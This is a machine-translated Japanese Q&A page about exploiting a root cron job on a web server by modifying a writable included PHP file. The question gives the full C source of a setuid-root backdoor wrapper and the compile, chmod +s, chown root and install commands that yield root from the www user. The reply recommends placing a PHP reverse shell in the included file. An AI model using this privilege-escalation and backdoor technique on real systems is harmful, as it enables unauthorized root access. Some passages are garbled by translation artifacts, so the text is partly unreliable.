web-dev-qa-db-ja.com

rootとして実行されているcronジョブの悪用

15分ごとにWebサーバー上でrootとして実行されるcronジョブがあります。

_php cli-script.php_

cliは「[〜#〜] c [〜#〜]ommand[〜#〜] l [〜#〜]ine[〜#〜] i [〜#〜]nterface "なので、コマンドラインからのみアクセスできます)

PHPスクリプト_cli-script.php_を直接変更することはできません。別のPHPスクリプト_db.php_が含まれているため、直接変更できます。 wwwユーザーとして:

cli-script.php

_include "db.php";
...
_

私の搾取テクニック:

  1. _db.php_の変更-_db.php_はcronジョブのスクリプトから_root's_特権を継承するため、system()コマンドを追加しますが、www- user(_db.php_ is[〜#〜] w [〜#〜]ritable、[〜#〜] r [〜#〜] eadableおよび[〜#〜] e [〜#〜]xecutable as www user)。 system()を介してすべての初期コマンドを実行します
  2. さらに利用しやすくするために、バイナリラッパーbackdoorを作成します。 root/bashSUID not used)のようなシェルを使用できるようにするには、[〜#〜] uid [〜#〜]をゼロ(sh)に設定する必要がありますエクスプロイト後 )(別の方法は、例えばPerl/pythonスクリプトを使用することです)

db.php

_...
system("...");
...
_

backdoor.c

_#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
    if (argc == 2) {
        setuid(0); // otherwise /bin/sh would use real UID
        system(argv[1]);
    } else {
        printf("1 argument expected");
    }
    return 0;
}
_

詳細な手順:

  1. www- userとしてCコードをコンパイル:_gcc backdoor.c -o backdoor_
  2. スティッキービットを入れて、ファイルの所有者をrootに変更します:_chmod +s backdoor && chown root backdoor_
  3. バイナリをrootとして_/bin/_ディレクトリに配置します:_mv backdoor /bin/backdoor_
  4. 使用法(www- userとして実行):_backdoor "whoami"_ => root

質問:このような脆弱性を利用する簡単な方法はありますか?私はすべてを複雑にしていますか?

1
Awaaaaarghhh

そのような脆弱性を悪用する簡単な方法はありますか

PHPリバースシェル をdb.phpファイルに単純に統合する方が簡単です。実行してリスナーに接続すると、rootとしてシェルのようなアクセス権が付与されます。

4
gowenfawr